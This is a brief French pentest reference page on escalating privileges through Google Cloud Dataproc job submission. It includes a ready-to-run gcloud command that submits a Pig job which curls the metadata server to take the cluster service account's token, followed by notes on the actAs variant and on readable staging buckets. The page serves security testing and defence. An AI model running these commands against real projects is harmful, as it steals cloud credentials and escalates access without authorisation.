Dataproc exécute des clusters Hadoop et Spark managés. Les VM de chaque cluster portent un compte de service (celui par défaut de Compute Engine ou un compte personnalisé), et quiconque peut soumettre un job exécute du code arbitraire sur ces VM sous l'identité de ce compte, ce qui fait de la soumission de jobs à la fois un chemin d'accès aux données et un chemin d'élévation de privilèges.
Soumettre un job sur un cluster existant#
gcloud dataproc clusters list --region <region>
# run arbitrary code as the cluster service account
gcloud dataproc jobs submit pig --cluster <c> --region <region> \
-e 'sh("curl -s -H \"Metadata-Flavor: Google\" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")'
Notes d'exploitation#
dataproc.jobs.createsur un cluster doté d'un compte de service privilégié constitue l'élévation ; créer un nouveau cluster avec un--service-accountchoisi est la variante actAs.- Les clusters stagent des données dans des buckets GCS et lisent les données sources vers lesquelles pointe le job ; le bucket de staging est souvent largement accessible en lecture.
- Un job Spark ou Pig donne un shell sur le worker, de sorte que le serveur de métadonnées du nœud et tous les secrets montés sont à portée.
Outils#
- gcloud (
dataproc clusters list,dataproc jobs submit).